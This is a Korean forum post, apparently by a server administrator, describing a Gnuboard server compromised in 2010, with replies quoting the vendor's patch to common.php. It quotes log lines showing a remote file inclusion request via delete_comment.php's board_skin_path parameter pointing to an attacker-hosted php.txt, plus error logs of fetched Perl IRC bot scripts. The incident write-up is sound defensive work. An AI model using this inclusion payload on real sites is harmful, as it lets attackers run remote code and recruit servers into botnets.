그누보드 delete_comment.php 공격 관련 정보
그누보드 delete_comment.php 공격 관련본문
얼마전에 어느 업체에서 사이트가 안열린다고 연락이 와서 점검을 한적이 있습니다.
해당 업체는 하나의 서버에 여러개의 웹 서비스를 운영 중인 업체 였습니다.
우선적으로 확인 되것은
프로세스에 apache 권한으로 실행된 비정상 프로세스 입니다.
apache 3411 0.0 1.0 35668 16064 ? S 12:35 0:07 /usr/local/bin/httpd -DSSL
정상적은 프로세스 경로는 해당 주소가 아니었습니다.
/tmp/ 폴더 하단에 알 수 없는 파일들이 생성 되어 있습니다.
(아, 급하게 처리 하느라 왠간한것들은 지워 버렸네요. )
netstat 로 확인시에
tcp 0 0 121.125.74.138:32432 x.x.218.232:6667
외부의 IRC서버에 프로세스가 접속되어 있는것을 확인 했습니다.
아파치 에러 로그를 살펴 보았습니다.
Connecting to downloadgogo.com|216.14.122.136|:80... sh: fetch: command not found
^M 26 53943 26 14227 0 0 12083 0 0:00:04 0:00:01 0:00:03 21939 % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M100 314 100 314 0 0 521 0 --:--:-- --:--:-- --:--:-- 521^M100 314 100 314 0 0 521 0 --:--:-- --:--:-- --:--:-- 0
Bareword found where operator expected at rabot.txt line 3, near "404 Not"
(Missing operator before Not?)
Bareword found where operator expected at rabot.txt line 5, near "<h1>Not Found</h1"
(Might be a runaway multi-line // string starting on line 4)
(Missing operator before h1?)
Bareword found where operator expected at rabot.txt line 6, near "<p>The"
(Missing operator before The?)
Bareword found where operator expected at rabot.txt line 8, near "<address>Apache"
(Missing operator before Apache?)
Bareword found where operator expected at rabot.txt line 8, near ") Server"
(Missing operator before Server?)
Bareword found where operator expected at rabot.txt line 9, near "</body"
(Might be a runaway multi-line // string starting on line 8)
(Missing operator before body?)
syntax error at rabot.txt line 2, near "html>"
Execution of rabot.txt aborted due to compilation errors.
sh: GET: command not found
--2010-03-02 16:40:42-- http://downloadgogo.com/osCommerce/catalog/images/rabot.txt
Resolving downloadgogo.com... 216.14.122.136
Connecting to downloadgogo.com|216.14.122.136|:80... connected.
HTTP request sent, awaiting response... ^M100 53943 100 53943 0 0 35525 0 0:00:01 0:00:01 --:--:-- 56414
Can't locate HTTP/Request.pm in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.8/i386-linux-thread-multi /usr/lib/perl5/5.8.8 .) at c.txt line 3.
BEGIN failed--compilation aborted at c.txt line 3.
Can't open perl script "c.txt": 그런 파일이나 디렉토리가 없음
sh: lwp-download: command not found
Can't open perl script "c.txt": 그런 파일이나 디렉토리가 없음
Can't open perl script "c.txt": 그런 파일이나 디렉토리가 없음
sh: lynx: command not found
어디선가 외부로 접속해서 가져온 문자열을 perl로 실행 하려다 생긴 에러가 발생 한것을 확인 할 수 있습니다.
취약점이 존재 할것으로 판단 되는 "그누보드" 를 사용하는 웹서비스의 로그를 확인 후 다음의 로그를
발견 하였습니다 .
64.255.180.200 - - [xx/Feb/2010:04:24:04 +0900] "GET /gbbs/bbs//delete_comment.php?board_skin_path=http://irc0p.fileave.com/php.txt??? HTTP/1.1" 200 8260
아마 그누보드의 어떤 취약점을 이용하여 원격지의 내용을 서버에서 실행 하려는 의도로 파악 됩니다
공격자의 주소에 직접 접근 했습니다
http://irc0p.fileave.com/php.txt
봇넷에 참가 시키는 소스로 판단 됩니다.
궁금한 것이 위 소스의 php.txt의 내용과 실제 서버에서 적용된 ( /tmp/ 폴더 하단에 apahe 권한으로 특정 파일등을 만들어 irc로 다른 서버에 연결 중인 내용 ) 과는 좀 다른거 같아서요.
후자는 아직 어떤 루트로 들어왔는지 발견하지 못했습니다. ( 어제 시간이 없어서 우선 관련 파일들을 삭제부터 해서 .. ) 혹시 관련 정보 가지고 계신 분 계십니까 ?
해당 업체는 하나의 서버에 여러개의 웹 서비스를 운영 중인 업체 였습니다.
우선적으로 확인 되것은
프로세스에 apache 권한으로 실행된 비정상 프로세스 입니다.
apache 3411 0.0 1.0 35668 16064 ? S 12:35 0:07 /usr/local/bin/httpd -DSSL
정상적은 프로세스 경로는 해당 주소가 아니었습니다.
/tmp/ 폴더 하단에 알 수 없는 파일들이 생성 되어 있습니다.
(아, 급하게 처리 하느라 왠간한것들은 지워 버렸네요. )
netstat 로 확인시에
tcp 0 0 121.125.74.138:32432 x.x.218.232:6667
외부의 IRC서버에 프로세스가 접속되어 있는것을 확인 했습니다.
아파치 에러 로그를 살펴 보았습니다.
Connecting to downloadgogo.com|216.14.122.136|:80... sh: fetch: command not found
^M 26 53943 26 14227 0 0 12083 0 0:00:04 0:00:01 0:00:03 21939 % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M100 314 100 314 0 0 521 0 --:--:-- --:--:-- --:--:-- 521^M100 314 100 314 0 0 521 0 --:--:-- --:--:-- --:--:-- 0
Bareword found where operator expected at rabot.txt line 3, near "404 Not"
(Missing operator before Not?)
Bareword found where operator expected at rabot.txt line 5, near "<h1>Not Found</h1"
(Might be a runaway multi-line // string starting on line 4)
(Missing operator before h1?)
Bareword found where operator expected at rabot.txt line 6, near "<p>The"
(Missing operator before The?)
Bareword found where operator expected at rabot.txt line 8, near "<address>Apache"
(Missing operator before Apache?)
Bareword found where operator expected at rabot.txt line 8, near ") Server"
(Missing operator before Server?)
Bareword found where operator expected at rabot.txt line 9, near "</body"
(Might be a runaway multi-line // string starting on line 8)
(Missing operator before body?)
syntax error at rabot.txt line 2, near "html>"
Execution of rabot.txt aborted due to compilation errors.
sh: GET: command not found
--2010-03-02 16:40:42-- http://downloadgogo.com/osCommerce/catalog/images/rabot.txt
Resolving downloadgogo.com... 216.14.122.136
Connecting to downloadgogo.com|216.14.122.136|:80... connected.
HTTP request sent, awaiting response... ^M100 53943 100 53943 0 0 35525 0 0:00:01 0:00:01 --:--:-- 56414
Can't locate HTTP/Request.pm in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi /usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl /usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi /usr/lib/perl5/vendor_perl/5.8.8 /usr/lib/perl5/vendor_perl /usr/lib/perl5/5.8.8/i386-linux-thread-multi /usr/lib/perl5/5.8.8 .) at c.txt line 3.
BEGIN failed--compilation aborted at c.txt line 3.
Can't open perl script "c.txt": 그런 파일이나 디렉토리가 없음
sh: lwp-download: command not found
Can't open perl script "c.txt": 그런 파일이나 디렉토리가 없음
Can't open perl script "c.txt": 그런 파일이나 디렉토리가 없음
sh: lynx: command not found
어디선가 외부로 접속해서 가져온 문자열을 perl로 실행 하려다 생긴 에러가 발생 한것을 확인 할 수 있습니다.
취약점이 존재 할것으로 판단 되는 "그누보드" 를 사용하는 웹서비스의 로그를 확인 후 다음의 로그를
발견 하였습니다 .
64.255.180.200 - - [xx/Feb/2010:04:24:04 +0900] "GET /gbbs/bbs//delete_comment.php?board_skin_path=http://irc0p.fileave.com/php.txt??? HTTP/1.1" 200 8260
아마 그누보드의 어떤 취약점을 이용하여 원격지의 내용을 서버에서 실행 하려는 의도로 파악 됩니다
공격자의 주소에 직접 접근 했습니다
http://irc0p.fileave.com/php.txt
봇넷에 참가 시키는 소스로 판단 됩니다.
궁금한 것이 위 소스의 php.txt의 내용과 실제 서버에서 적용된 ( /tmp/ 폴더 하단에 apahe 권한으로 특정 파일등을 만들어 irc로 다른 서버에 연결 중인 내용 ) 과는 좀 다른거 같아서요.
후자는 아직 어떤 루트로 들어왔는지 발견하지 못했습니다. ( 어제 시간이 없어서 우선 관련 파일들을 삭제부터 해서 .. ) 혹시 관련 정보 가지고 계신 분 계십니까 ?
추천
0
0
댓글 4개

HISTORY 파일의
4.22.04 (08.06.11)
: [필수패치] 웜 취약점 수정 ★★★★★★★★★★
common.php 를 아래와 같이 반드시 반드시 반드시 수정하시기 바랍니다.
// 스킨경로
$board_skin_path = ''; // <!-- 이 코드 한줄이 반드시 들어가야 합니다.
if (isset($board['bo_skin']))
$board_skin_path = "{$g4['path']}/skin/board/{$board['bo_skin']}"; // 게시판 스킨 경로
이 내용을 참고하여 주십시오.
common.php 에
// 스킨경로
$board_skin_path = '';
...
이 코드가 반드시 포함되어 있어야 안전합니다.
4.22.04 (08.06.11)
: [필수패치] 웜 취약점 수정 ★★★★★★★★★★
common.php 를 아래와 같이 반드시 반드시 반드시 수정하시기 바랍니다.
// 스킨경로
$board_skin_path = ''; // <!-- 이 코드 한줄이 반드시 들어가야 합니다.
if (isset($board['bo_skin']))
$board_skin_path = "{$g4['path']}/skin/board/{$board['bo_skin']}"; // 게시판 스킨 경로
이 내용을 참고하여 주십시오.
common.php 에
// 스킨경로
$board_skin_path = '';
...
이 코드가 반드시 포함되어 있어야 안전합니다.
네 감사합니다. 패치 부분은 알고 있었고요. 궁금한것은 해당 공격 유형의 진행 방식 입니다. 실제적으로 /tmp/ 하단에서 특정 소스를 컴파일 하여 irc 봇에 참가 시킨 부분을 아직 찾진 못했거든요. 어제 시간이 없어서 우선 지우고 봐서 .ㅠ 혹시 아시는 분 계시나 해서요.
근데 궁금한건 그누보드 현재의 최신 패치는 4.31.11인가 그런데
글쓰신분의 그 업체쪽은 그누보드 보안패치를 안했다는거네요?
글쓰신분의 그 업체쪽은 그누보드 보안패치를 안했다는거네요?
네. 따로 관리 하던건 아니라 문제가 된거 같습니다.